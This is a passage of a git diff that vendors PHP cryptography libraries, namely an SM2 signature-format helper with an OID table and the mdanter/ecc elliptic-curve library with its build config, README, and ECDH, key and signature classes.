'qt', + '1.3.6.1.5.5.7.3' => 'kp', + '1.3.6.1.5.5.7.48' => 'ad', + '1.3.6.1.5.5.7.2.1' => 'cps', + '1.3.6.1.5.5.7.2.2' => 'unotice', + '1.3.6.1.5.5.7.48.1' => 'ocsp', + '1.3.6.1.5.5.7.48.2' => 'caIssuers', + '1.3.6.1.5.5.7.48.5' => 'caRepository', + '2.5.4' => 'at', + '2.5.4.41' => 'name', + '2.5.4.4' => 'surname', + '2.5.4.42' => 'givenName', + '2.5.4.43' => 'initials', + '2.5.4.44' => 'generationQualifier', + '2.5.4.7' => 'localityName', + '2.5.4.10' => 'organizationName', + '2.5.4.11' => 'organizationalUnitName', + '2.5.4.12' => 'title', + '2.5.4.13' => 'description', + '2.5.4.46' => 'dnQualifier', + '2.5.4.5' => 'serialNumber', + '2.5.4.65' => 'pseudonym', + '2.5.4.17' => 'postalCode', + '2.5.4.9' => 'streetAddress', + '2.5.4.45' => 'uniqueIdentifier', + '2.5.4.72' => 'role', + '2.5.4.16' => 'postalAddress', + '0.9.2342.19200300.100.1.25' => 'domainComponent', + '1.2.840.113549.1.9' => 'pkcs-9', + '1.2.840.113549.1.9.1' => 'emailAddress', + '2.5.29' => 'ce', + '2.5.29.16' => 'privateKeyUsagePeriod', + '2.5.29.32.0' => 'anyPolicy', + '2.5.29.33' => 'policyMappings', + '2.5.29.18' => 'issuerAltName', + '2.5.29.9' => 'subjectDirectoryAttributes', + '1.3.6.1.5.5.7.3.1' => 'kp-serverAuth', + '1.3.6.1.5.5.7.3.2' => 'kp-clientAuth', + '1.3.6.1.5.5.7.3.3' => 'kp-codeSigning', + '1.3.6.1.5.5.7.3.4' => 'kp-emailProtection', + '1.3.6.1.5.5.7.3.8' => 'kp-timeStamping', + '1.3.6.1.5.5.7.3.9' => 'kp-OCSPSigning', + '2.5.29.54' => 'inhibitAnyPolicy', + '2.5.29.46' => 'freshestCRL', + '1.3.6.1.5.5.7.1.1' => 'pe-authorityInfoAccess', + '1.3.6.1.5.5.7.1.11' => 'pe-subjectInfoAccess', + '2.5.29.20' => 'cRLNumber', + '2.5.29.28' => 'issuingDistributionPoint', + '2.5.29.27' => 'deltaCRLIndicator', + '2.5.29.21' => 'cRLReasons', + '2.5.29.29' => 'certificateIssuer', + '2.5.29.23' => 'holdInstructionCode', + '1.2.840.10040.2' => 'holdInstruction', + '1.2.840.10040.2.1' => 'holdinstruction-none', + '1.2.840.10040.2.2' => 'holdinstruction-callissuer', + '1.2.840.10040.2.3' => 'holdinstruction-reject', + '2.5.29.24' => 'invalidityDate', + '1.2.840.10040.4.3' => 'dsa-with-sha1', + '1.2.840.113549.1.1' => 'pkcs-1', + '1.2.840.113549.1.1.2' => 'md2WithRSAEncryption', + '1.2.840.113549.1.1.4' => 'md5WithRSAEncryption', + '1.2.840.113549.1.1.5' => 'sha1WithRSAEncryption', + '1.3.14.3.2.29' => 'sha1WithRSAEncryption', + '1.2.840.10046.2.1' => 'dhpublicnumber', + '2.16.840.1.101.2.1.1.22' => 'keyExchangeAlgorithm', + '1.2.840.10045' => 'ansi-X9-62', + '1.2.840.10045.4' => 'ecSigType', + '1.2.840.10045.4.1' => 'ecdsa-with-SHA1', + '1.2.840.10045.1' => 'fieldType', + '1.2.840.10045.1.1' => 'prime-field', + '1.2.840.10045.1.2' => 'characteristic-two-field', + '1.2.840.10045.1.2.3' => 'characteristic-two-basis', + '1.2.840.10045.1.2.3.1' => 'gnBasis', + '1.2.840.10045.1.2.3.2' => 'tpBasis', + '1.2.840.10045.1.2.3.3' => 'ppBasis', + '1.2.840.10045.2' => 'publicKeyType', + '1.2.840.10045.3' => 'ellipticCurve', + '1.2.840.10045.3.0' => 'c-TwoCurve', + '1.2.840.10045.3.0.1' => 'c2pnb163v1', + '1.2.840.10045.3.0.2' => 'c2pnb163v2', + '1.2.840.10045.3.0.3' => 'c2pnb163v3', + '1.2.840.10045.3.0.4' => 'c2pnb176w1', + '1.2.840.10045.3.0.5' => 'c2pnb191v1', + '1.2.840.10045.3.0.6' => 'c2pnb191v2', + '1.2.840.10045.3.0.7' => 'c2pnb191v3', + '1.2.840.10045.3.0.8' => 'c2pnb191v4', + '1.2.840.10045.3.0.9' => 'c2pnb191v5', + '1.2.840.10045.3.0.10' => 'c2pnb208w1', + '1.2.840.10045.3.0.11' => 'c2pnb239v1', + '1.2.840.10045.3.0.12' => 'c2pnb239v2', + '1.2.840.10045.3.0.13' => 'c2pnb239v3', + '1.2.840.10045.3.0.14' => 'c2pnb239v4', + '1.2.840.10045.3.0.15' => 'c2pnb239v5', + '1.2.840.10045.3.0.16' => 'c2pnb272w1', + '1.2.840.10045.3.0.17' => 'c2pnb304w1', + '1.2.840.10045.3.0.18' => 'c2pnb359v1', + '1.2.840.10045.3.0.19' => 'c2pnb368w1', + '1.2.840.10045.3.0.20' => 'c2pnb431r1', + '1.2.840.10045.3.1' => 'primeCurve', + '1.2.840.10045.3.1.1' => 'prime192v1', + '1.2.840.10045.3.1.2' => 'prime192v2', + '1.2.840.10045.3.1.3' => 'prime192v3', + '1.2.840.10045.3.1.4' => 'prime239v1', + '1.2.840.10045.3.1.5' => 'prime239v2', + '1.2.840.10045.3.1.6' => 'prime239v3', + '1.2.840.10045.3.1.7' => 'prime256v1', + '1.2.840.113549.1.1.7' => 'RSAES-OAEP', + '1.2.840.113549.1.1.9' => 'pSpecified', + '1.2.840.113549.1.1.10' => 'RSASSA-PSS', + '1.2.840.113549.1.1.8' => 'mgf1', + '1.2.840.113549.1.1.14' => 'sha224WithRSAEncryption', + '1.2.840.113549.1.1.11' => 'sha256WithRSAEncryption', + '1.2.840.113549.1.1.12' => 'sha384WithRSAEncryption', + '1.2.840.113549.1.1.13' => 'sha512WithRSAEncryption', + '1.2.643.2.2.4' => 'GostR3411-94-with-GostR3410-94', + '1.2.643.2.2.3' => 'GostR3411-94-with-GostR3410-2001', + '1.2.643.2.2.20' => 'GostR3410-2001', + '1.2.643.2.2.19' => 'GostR3410-94', + '2.16.840.1.113730' => 'netscape', + '2.16.840.1.113730.1' => 'netscape-cert-extension', + '2.16.840.1.113730.1.1' => 'netscape-cert-type', + '2.16.840.1.113730.1.13' => 'netscape-comment', + '2.16.840.1.113730.1.8' => 'netscape-ca-policy-url', + '1.3.6.1.5.5.7.1.12' => 'logotype', + '1.2.840.113533.7.65.0' => 'entrustVersInfo', + '2.16.840.1.113733.1.6.9' => 'verisignPrivate', + '1.2.840.113549.1.9.2' => 'unstructuredName', + '1.2.840.113549.1.9.7' => 'challengePassword', + '1.2.840.113549.1.9.14' => 'extensionRequest', + '0.9.2342.19200300.100.1.1' => 'userid', + '1.2.840.113549.1.9.15' => 's/mime', + '1.2.840.113549.1.9.8' => 'unstructuredAddress', + '1.2.840.113549.3.2' => 'rc2-cbc', + '1.2.840.113549.3.4' => 'rc4', + '1.3.14.3.2.7' => 'desCBC', + '1.3.6.1.5.5.7.1.3' => 'qcStatements', + '1.3.6.1.5.5.7.11.1' => 'pkixQCSyntax-v1', + '1.3.6.1.5.5.7.11.2' => 'pkixQCSyntax-v2', + '1.3.6.1.5.5.7.3.5' => 'ipsecEndSystem', + '1.3.6.1.5.5.7.3.6' => 'ipsecTunnel', + '1.3.6.1.5.5.7.3.7' => 'ipsecUser', + '1.3.6.1.5.5.7.48.1' => 'OCSP', + '1.3.6.1.5.5.7.9.4' => 'countryOfCitizenship', + '1.3.6.1.5.5.8.2.2' => 'IPSECProtection', + '2.5.4.20' => 'telephoneNumber', + '2.5.4.97' => 'organizationIdentifier', + + ); + /** + * from https://github.com/vakata/asn1 + * + * @param string $id + * @return string + */ + public static function OIDtoText($id) + { + // echo $id."\n"; + $text = self::$oidTexts[$id] ?? $id; + + return $text; + } + /** + * from https://github.com/vakata/asn1 + * + * @param string $text + * @return string + */ + public static function TextToOID($text) + { + $res = static::$oids[$text] ?? null; + if (is_array($res)) { + $res = $res[0]; + } + return $res ?? $text; + } +} + +function getMillisecond() +{ + list($microsecond, $time) = explode(' ', microtime()); //' '中间是一个空格 + return (float)sprintf('%.0f', (floatval($microsecond) + floatval($time)) * 1000); +} diff --git a/includes/vendor/lpilp/guomi/src/util/SmSignFormatRS.php b/includes/vendor/lpilp/guomi/src/util/SmSignFormatRS.php new file mode 100644 index 0000000..0a366cb --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/util/SmSignFormatRS.php @@ -0,0 +1,81 @@ +getContent());die(); + $r = self::_padding_zero(self::_format_bigint($arr[0]->getContent())); + $s = self::_padding_zero(self::_format_bigint($arr[1]->getContent())); + return base64_encode($r . $s); + } + protected static function _format_bigint($data) + { + $hex = gmp_strval(gmp_init($data, 10), 16); + return $hex; + } + /** + * rs要固定长度,经测试会有1%的概率出现长度短的,要补0 + * + * @param string $hex + * @return string + */ + protected static function _padding_zero($hex) + { + $len = 64; // r,s都是32字节 + $left = $len - strlen($hex); + if ($left > 0) { + $hex = str_repeat('0', $left) . $hex; + } + return hex2bin($hex); + } + + /** + * r+s ==> asn1(r+s) + * + * @param string $str + * @param string $format + * @return string + */ + public static function rs_to_asn1($str, $format = 'base64') + { + if ($format == 'base64') { + $str = base64_decode($str); + } else if ($format == 'hex') { + $str = hex2bin($str); + } + + $binR = self::_trim_int_pad(substr($str, 0, 32)); + $binS = self::_trim_int_pad(substr($str, 32)); + $lenR = strlen($binR); + $lenS = strlen($binS); + $result = chr(48) . chr(2 + $lenR + 2 + $lenS) . chr(2) . chr($lenR) . $binR . chr(2) . chr($lenS) . $binS; + return base64_encode($result); + } + /** + * 去掉多余的0 + * + * @param string $binStr + * @return string + */ + protected static function _trim_int_pad($binStr) + { + //trim 0 + while (ord($binStr[0]) == 0) { + $binStr = substr($binStr, 1); + } + // add 0 if necessary + if (ord($binStr[0]) > 127) { + $binStr = chr(0) . $binStr; + } + // echo bin2hex($binStr)."\n"; + return $binStr; + } +} diff --git a/includes/vendor/mdanter/ecc/.gitattributes b/includes/vendor/mdanter/ecc/.gitattributes new file mode 100644 index 0000000..82ff5ec --- /dev/null +++ b/includes/vendor/mdanter/ecc/.gitattributes @@ -0,0 +1,3 @@ +/doc export-ignore +/examples export-ignore +/tests export-ignore diff --git a/includes/vendor/mdanter/ecc/.github/workflows/test.yml b/includes/vendor/mdanter/ecc/.github/workflows/test.yml new file mode 100644 index 0000000..0419663 --- /dev/null +++ b/includes/vendor/mdanter/ecc/.github/workflows/test.yml @@ -0,0 +1,82 @@ +name: Tests + +on: + push: + pull_request: + +jobs: + test: + runs-on: ${{ matrix.operating-system }} + strategy: + matrix: + operating-system: ['ubuntu-20.04', 'ubuntu-18.04'] + php-versions: ['7.0', '7.1', '7.2', '7.3', '7.4', '8.0'] + phpunit-versions: ['latest'] + steps: + - name: Checkout + uses: actions/checkout@v2 + - name: Checkout submodules + uses: textbook/git-checkout-submodule-action@master + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php-versions }} + extensions: gmp + coverage: none + + - name: Get composer cache directory + id: composer-cache + run: echo "::set-output name=dir::$(composer config cache-files-dir)" + + - name: Cache dependencies + uses: actions/cache@v2 + with: + path: ${{ steps.composer-cache.outputs.dir }} + key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} + restore-keys: ${{ runner.os }}-composer- + + - name: Install dependencies + run: composer install --prefer-dist + + - name: Run tests + run: make phpunit-full-ci + + coverage: + runs-on: ${{ matrix.operating-system }} + strategy: + matrix: + operating-system: ['ubuntu-20.04'] + php-versions: ['7.4'] + + steps: + - name: Checkout + uses: actions/checkout@v2 + - name: Checkout submodules + uses: textbook/git-checkout-submodule-action@master + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php-versions }} + extensions: gmp, xdebug + + - name: Get composer cache directory + id: composer-cache + run: echo "::set-output name=dir::$(composer config cache-files-dir)" + + - name: Cache dependencies + uses: actions/cache@v2 + with: + path: ${{ steps.composer-cache.outputs.dir }} + key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} + restore-keys: ${{ runner.os }}-composer- + + - name: Install dependencies + run: composer install --prefer-dist + + - name: Run tests + run: make phpunit-ci + + - name: Upload coverage to Scrutinizer + run: make scrutinizer diff --git a/includes/vendor/mdanter/ecc/.gitignore b/includes/vendor/mdanter/ecc/.gitignore new file mode 100644 index 0000000..331c4cd --- /dev/null +++ b/includes/vendor/mdanter/ecc/.gitignore @@ -0,0 +1,4 @@ +tests/output +vendor/ + +composer.lock diff --git a/includes/vendor/mdanter/ecc/.gitmodules b/includes/vendor/mdanter/ecc/.gitmodules new file mode 100644 index 0000000..0965c5c --- /dev/null +++ b/includes/vendor/mdanter/ecc/.gitmodules @@ -0,0 +1,3 @@ +[submodule "tests/import/wycheproof"] + path = tests/import/wycheproof + url = https://github.com/google/wycheproof diff --git a/includes/vendor/mdanter/ecc/.scrutinizer.yml b/includes/vendor/mdanter/ecc/.scrutinizer.yml new file mode 100644 index 0000000..bb481fb --- /dev/null +++ b/includes/vendor/mdanter/ecc/.scrutinizer.yml @@ -0,0 +1,94 @@ +build: + nodes: + php-scrutinizer-run: + project_setup: + override: true + tests: + override: [php-scrutinizer-run] + + environment: + mysql: false + redis: false + postgresql: false + php: + version: 7.2 + ini: + 'zend.assertions': '1' + 'assert.exception': '1' + dependencies: + override: + - + command: 'composer install' + tests: + override: true + project_setup: + override: true + +filter: + paths: + - src/* + excluded_paths: + - examples/* + - tests/* + - vendor/* + +tools: + php_cpd: true + php_pdepend: true + php_analyzer: true + php_sim: true + php_changetracking: true + php_mess_detector: true + php_code_sniffer: true + sensiolabs_security_checker: true + php_code_coverage: true + php_pdepend: + excluded_dirs: [vendor, doc, examples, build, tests] + external_code_coverage: + timeout: 1300 + runs: 1 + +changetracking: + bug_patterns: ["\bfix(?:es|ed)?\b"] + feature_patterns: ["\badd(?:s|ed)?\b", "\bimplement(?:s|ed)?\b"] + +build_failure_conditions: + # No new critical issue is introduced (existing ones are tolerated) + - 'issues.severity(>= CRITICAL).new.exists' + + # Code Coverage drops below 60% + - 'project.metric("scrutinizer.test_coverage", < 0.80)' + + # Code Coverage decreased from previous inspection by more than 1% + - 'project.metric_change("scrutinizer.test_coverage", < -0.01)' + +checks: + php: + simplify_boolean_return: true + return_doc_comments: true + return_doc_comment_if_not_inferrable: true + remove_extra_empty_lines: true + properties_in_camelcaps: true + phpunit_assertions: true + parameters_in_camelcaps: true + parameter_doc_comments: true + param_doc_comment_if_not_inferrable: true + overriding_parameter: true + no_short_variable_names: + minimum: '3' + no_short_method_names: + minimum: '3' + no_long_variable_names: + maximum: '20' + no_goto: true + fix_use_statements: + remove_unused: true + preserve_multiple: false + preserve_blanklines: false + order_alphabetically: false + fix_line_ending: true + check_method_contracts: + verify_interface_like_constraints: true + verify_documented_constraints: true + verify_parent_constraints: true + diff --git a/includes/vendor/mdanter/ecc/Makefile b/includes/vendor/mdanter/ecc/Makefile new file mode 100644 index 0000000..f3f7660 --- /dev/null +++ b/includes/vendor/mdanter/ecc/Makefile @@ -0,0 +1,55 @@ +test: phpunit phpcs + +.PHONY: test phpunit phpcs + +pretest: + if [ ! -d vendor ] || [ ! -f composer.lock ]; then composer install; else echo "Already have dependencies"; fi + +phpunit: pretest + mkdir -p tests/output + vendor/bin/phpunit --coverage-text --coverage-clover=tests/output/coverage.clover --coverage-html=tests/output/Results + +test-examples: + ./validate_examples.sh + +phpunit-ci: pretest + vendor/bin/phpunit --coverage-text --coverage-clover=tests/output/coverage.clover + +phpunit-full-ci: pretest + vendor/bin/phpunit -c phpunit.full.xml --coverage-text --coverage-clover=tests/output/coverage.clover + +ifndef STRICT +STRICT = 0 +endif + +ifeq "$(STRICT)" "1" +phpcs: pretest + vendor/bin/phpcs --standard=PSR2 src tests/unit/ +else +phpcs: pretest + vendor/bin/phpcs --standard=PSR2 -n src tests/unit/ +endif + +phpcbf: pretest + vendor/bin/phpcbf --standard=PSR2 -n src tests/unit/ + +ocular: + wget https://scrutinizer-ci.com/ocular.phar + +ifdef OCULAR_TOKEN +scrutinizer: ocular + @php ocular.phar code-coverage:upload --format=php-clover tests/output/coverage.clover --access-token=$(OCULAR_TOKEN); +else +scrutinizer: ocular + php ocular.phar code-coverage:upload --format=php-clover tests/output/coverage.clover; +endif + +clean: clean-env clean-deps + +clean-env: + rm -rf coverage.clover + rm -rf ocular.phar + rm -rf tests/output/ + +clean-deps: + rm -rf vendor/ diff --git a/includes/vendor/mdanter/ecc/README.md b/includes/vendor/mdanter/ecc/README.md new file mode 100644 index 0000000..b5673ba --- /dev/null +++ b/includes/vendor/mdanter/ecc/README.md @@ -0,0 +1,73 @@ +## Pure PHP Elliptic Curve DSA and DH + +[![Build Status](https://travis-ci.org/phpecc/phpecc.svg?branch=master)](https://travis-ci.org/phpecc/phpecc) + +[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/phpecc/phpecc/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/phpecc/phpecc?branch=master) +[![Code Coverage](https://scrutinizer-ci.com/g/phpecc/phpecc/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/phpecc/phpecc/?branch=master) + +[![Latest Stable Version](https://poser.pugx.org/mdanter/ecc/v/stable.png)](https://packagist.org/packages/mdanter/ecc) +[![Total Downloads](https://poser.pugx.org/mdanter/ecc/downloads.png)](https://packagist.org/packages/mdanter/ecc) +[![Latest Unstable Version](https://poser.pugx.org/mdanter/ecc/v/unstable.png)](https://packagist.org/packages/mdanter/ecc) +[![License](https://poser.pugx.org/mdanter/ecc/license.png)](https://packagist.org/packages/mdanter/ecc) + +### Information + +This library is a rewrite/update of Matyas Danter's ECC library. All credit goes to him. + +For more information on Elliptic Curve Cryptography please read [this fine article](http://www.matyasdanter.com/2010/12/elliptic-curve-php-oop-dsa-and-diffie-hellman/). + +The library supports the following curves: + + - secp112r1 + - secp256k1 + - nistp192 + - nistp224 + - nistp256 / secp256r1 + - nistp384 / secp384r1 + - nistp521 + +During ECDSA, a random value `k` is required. It is acceptable to use a true RNG to generate this value, but +should the same `k` value ever be repeatedly used for a key, an attacker can recover that signing key. +The HMAC random generator can derive a deterministic k value from the message hash and private key, voiding +this concern. + +The library uses a non-branching Montgomery ladder for scalar multiplication, as it's constant time and avoids secret +dependant branches. + +### License + +This package is released under the MIT license. + +### Requirements + +* PHP 7.0+ or PHP 8.0+ +* composer +* ext-gmp + +Support for older PHP versions: + * v0.4.x: php ^5.6|<7.2 + * v0.5.x: php ^7.0 + * v1.0.x: php ^7.0|^8.0 + +### Installation + +You can install this library via Composer : + +`composer require mdanter/ecc:^1.0` + +### Contribute + +When sending in pull requests, please make sure to run the `make` command. + +The default target runs all PHPUnit and PHPCS tests. All tests +must validate for your contribution to be accepted. + +It's also always a good idea to check the results of the [Scrutinizer analysis](https://scrutinizer-ci.com/g/phpecc/phpecc/) for your pull requests. + +### Usage + +Examples: + * [Key generation](./examples/key_generation.php) + * [ECDH exchange](./examples/ecdh_exchange.php) + * [Signature creation](./examples/creating_signature.php) + * [Signature verification](./examples/verify_signature.php) diff --git a/includes/vendor/mdanter/ecc/composer.json b/includes/vendor/mdanter/ecc/composer.json new file mode 100644 index 0000000..9a4e95a --- /dev/null +++ b/includes/vendor/mdanter/ecc/composer.json @@ -0,0 +1,47 @@ +{ + "name": "mdanter/ecc", + "description": "PHP Elliptic Curve Cryptography library", + "type": "library", + "homepage": "https://github.com/phpecc/phpecc", + "keywords": ["secp256k1", "secp256r1", "nistp192", "nistp224", "nistp256", "nistp384", "nistp521", "ECDSA", "diffie", "hellman", "ECDH", "elliptic", "curve", "phpecc"], + "license": "MIT", + "authors": [ + { + "name": "Matyas Danter", + "homepage": "http://matejdanter.com/", + "role": "Author" + }, + { + "name": "Thibaud Fabre", + "email": "thibaud@aztech.io", + "homepage": "http://aztech.io", + "role": "Maintainer" + }, + { + "name": "Thomas Kerin", + "email": "afk11@users.noreply.github.com", + "role": "Maintainer" + } + ], + "require": { + "php": "^7.0||^8.0", + "ext-gmp": "*", + "fgrosse/phpasn1": "^2.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.0||^8.0||^9.0", + "squizlabs/php_codesniffer": "^2.0", + "symfony/yaml": "^2.6|^3.0" + }, + "autoload": { + "psr-4": { + "Mdanter\\Ecc\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "Mdanter\\Ecc\\Tests\\": "tests/unit", + "Mdanter\\Ecc\\WycheProof\\": "tests/wycheproof" + } + } +} diff --git a/includes/vendor/mdanter/ecc/phpunit.full.xml b/includes/vendor/mdanter/ecc/phpunit.full.xml new file mode 100644 index 0000000..6dc0432 --- /dev/null +++ b/includes/vendor/mdanter/ecc/phpunit.full.xml @@ -0,0 +1,30 @@ + + + + + + + + + + ./tests/wycheproof + + + ./tests/unit + + + + + + + + + src/ + + + diff --git a/includes/vendor/mdanter/ecc/phpunit.xml b/includes/vendor/mdanter/ecc/phpunit.xml new file mode 100644 index 0000000..9947b18 --- /dev/null +++ b/includes/vendor/mdanter/ecc/phpunit.xml @@ -0,0 +1,27 @@ + + + + + + + + + + ./tests/unit + + + + + + + + + src/ + + + diff --git a/includes/vendor/mdanter/ecc/src/Crypto/EcDH/EcDH.php b/includes/vendor/mdanter/ecc/src/Crypto/EcDH/EcDH.php new file mode 100644 index 0000000..86aec6f --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Crypto/EcDH/EcDH.php @@ -0,0 +1,169 @@ +adapter = $adapter; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\EcDH\EcDHInterface::calculateSharedKey() + */ + public function calculateSharedKey(): \GMP + { + $this->calculateKey(); + + return $this->secretKey->getPoint()->getX(); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\EcDH\EcDHInterface::createMultiPartyKey() + */ + public function createMultiPartyKey(): PublicKeyInterface + { + $this->calculateKey(); + + return $this->secretKey; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\EcDH\EcDHInterface::setRecipientKey() + */ + public function setRecipientKey(PublicKeyInterface $key = null) + { + $this->recipientKey = $key; + return $this; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\EcDH\EcDHInterface::setSenderKey() + */ + public function setSenderKey(PrivateKeyInterface $key) + { + $this->senderKey = $key; + return $this; + } + + /** + * + */ + private function calculateKey() + { + $this->checkExchangeState(); + + if ($this->secretKey === null) { + try { + // Multiply our secret with recipients public key + $point = $this->recipientKey->getPoint()->mul($this->senderKey->getSecret()); + + // Ensure we completed a valid exchange, ensure we can create a + // public key instance for the shared secret using our generator. + $this->secretKey = $this->senderKey->getPoint()->getPublicKeyFrom($point->getX(), $point->getY()); + } catch (\Exception $e) { + throw new ExchangeException("Invalid ECDH exchange", 0, $e); + } + } + } + + /** + * Verifies that the shared secret is known, or that the required keys are available + * to calculate the shared secret. + * @throws \RuntimeException when the exchange has not been made. + */ + private function checkExchangeState() + { + if ($this->secretKey !== null) { + return; + } + + if ($this->senderKey === null) { + throw new ExchangeException('Sender key not set.'); + } + + if ($this->recipientKey === null) { + throw new ExchangeException('Recipient key not set.'); + } + + // Check the point exists on our curve. + $point = $this->recipientKey->getPoint(); + if (!$this->senderKey->getPoint()->getCurve()->contains($point->getX(), $point->getY())) { + throw new ExchangeException("Invalid ECDH exchange - Point does not exist on our curve"); + } + } +} diff --git a/includes/vendor/mdanter/ecc/src/Crypto/EcDH/EcDHInterface.php b/includes/vendor/mdanter/ecc/src/Crypto/EcDH/EcDHInterface.php new file mode 100644 index 0000000..5f44059 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Crypto/EcDH/EcDHInterface.php @@ -0,0 +1,64 @@ +adapter = $adapter; + $this->generator = $generator; + $this->secretMultiplier = $secretMultiplier; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PrivateKeyInterface::getPublicKey() + */ + public function getPublicKey(): PublicKeyInterface + { + return new PublicKey($this->adapter, $this->generator, $this->generator->mul($this->secretMultiplier)); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PrivateKeyInterface::getPoint() + */ + public function getPoint(): GeneratorPoint + { + return $this->generator; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PrivateKeyInterface::getCurve() + */ + public function getCurve(): CurveFpInterface + { + return $this->generator->getCurve(); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PrivateKeyInterface::getSecret() + */ + public function getSecret(): \GMP + { + return $this->secretMultiplier; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PrivateKeyInterface::createExchange() + */ + public function createExchange(PublicKeyInterface $recipient = null): EcDHInterface + { + $ecdh = new EcDH($this->adapter); + $ecdh + ->setSenderKey($this) + ->setRecipientKey($recipient); + + return $ecdh; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Crypto/Key/PrivateKeyInterface.php b/includes/vendor/mdanter/ecc/src/Crypto/Key/PrivateKeyInterface.php new file mode 100644 index 0000000..65eca34 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Crypto/Key/PrivateKeyInterface.php @@ -0,0 +1,59 @@ +curve = $generator->getCurve(); + $this->generator = $generator; + $this->point = $point; + $this->adapter = $adapter; + + // step 1: not point at infinity. + if ($point->isInfinity()) { + throw new PublicKeyException($generator, $point, "Cannot use point at infinity for public key"); + } + + // step 2 full & partial public key validation routine + if ($adapter->cmp($point->getX(), gmp_init(0, 10)) < 0 || $adapter->cmp($this->curve->getPrime(), $point->getX()) < 0 + || $adapter->cmp($point->getY(), gmp_init(0, 10)) < 0 || $adapter->cmp($this->curve->getPrime(), $point->getY()) < 0 + ) { + throw new PublicKeyException($generator, $point, "Point has x and y out of range."); + } + + // Sanity check. Point (x,y) values are qualified against it's + // generator and curve. Here we ensure the Point and Generator + // are the same. + if (!$generator->getCurve()->equals($point->getCurve())) { + throw new PublicKeyException($generator, $point, "Curve for given point not in common with GeneratorPoint"); + } + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PublicKeyInterface::getCurve() + */ + public function getCurve(): CurveFpInterface + { + return $this->curve; + } + + /** + * {$inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PublicKeyInterface::getGenerator() + */ + public function getGenerator(): GeneratorPoint + { + return $this->generator; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Key\PublicKeyInterface::getPoint() + */ + public function getPoint(): PointInterface + { + return $this->point; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Crypto/Key/PublicKeyInterface.php b/includes/vendor/mdanter/ecc/src/Crypto/Key/PublicKeyInterface.php new file mode 100644 index 0000000..f340b09 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Crypto/Key/PublicKeyInterface.php @@ -0,0 +1,53 @@ + 20, + 'sha224' => 28, + 'sha256' => 32, + 'sha384' => 48, + 'sha512' => 64, + ]; + + /** + * @var GmpMathInterface + */ + private $adapter; + + /** + * @var string + */ + private $algorithm; + + /** + * SignHasher constructor. + * @param string $algorithm + * @param GmpMathInterface|null $math + */ + public function __construct(string $algorithm, GmpMathInterface $math = null) + { + if (!array_key_exists($algorithm, self::$sizeMap)) { + throw new \InvalidArgumentException("Unsupported hashing algorithm"); + } + + $this->algorithm = $algorithm; + $this->adapter = $math ?: EccFactory::getAdapter(); + } + + /** + * @return string + */ + public function getAlgorithm(): string + { + return $this->algorithm; + } + + /** + * @return int + */ + public function getLengthInBytes(): int + { + return self::$sizeMap[$this->algorithm]; + } + + /** + * @param string $data + * @return string + */ + public function makeRawHash(string $data): string + { + return hash($this->algorithm, $data, false); + } + + /** + * @param \GMP $hash + * @param GeneratorPoint $G + * @return \GMP + */ + public function truncateForECDSA(\GMP $hash, GeneratorPoint $G) + { + $hashBits = gmp_strval($hash, 2); + if (BinaryString::length($hashBits) < self::$sizeMap[$this->algorithm] * 8) { + $hashBits = str_pad($hashBits, self::$sizeMap[$this->algorithm] * 8, '0', STR_PAD_LEFT); + } + + return gmp_init(BinaryString::substring($hashBits, 0, NumberSize::bnNumBits($this->adapter, $G->getOrder())), 2); + } + + /** + * @param string $data + * @param GeneratorPoint $G + * @return \GMP + */ + public function makeHash(string $data, GeneratorPoint $G): \GMP + { + $hash = gmp_init($this->makeRawHash($data), 16); + return $this->truncateForECDSA($hash, $G); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Crypto/Signature/Signature.php b/includes/vendor/mdanter/ecc/src/Crypto/Signature/Signature.php new file mode 100644 index 0000000..24c49fa --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Crypto/Signature/Signature.php @@ -0,0 +1,75 @@ +r = $r; + $this->s = $s; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Signature\SignatureInterface::getR() + */ + public function getR(): \GMP + { + return $this->r; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Crypto\Signature\SignatureInterface::getS() + */ + public function getS(): \GMP + { + return $this->s; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Crypto/Signature/SignatureInterface.php b/includes/vendor/mdanter/ecc/src/Crypto/Signature/SignatureInterface.php new file mode 100644 index 0000000..47015d0 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Crypto/Signature/SignatureInterface.php @@ -0,0 +1,48 @@ +adapter = $adapter; + } + + /** + * @param PrivateKeyInterface $key + * @param \GMP $truncatedHash - hash truncated for use in ECDSA + * @param \GMP $randomK + * @return SignatureInterface + */ + public function sign(PrivateKeyInterface $key, \GMP $truncatedHash, \GMP $randomK): SignatureInterface + { + $math = $this->adapter; + $generator = $key->getPoint(); + $modMath = 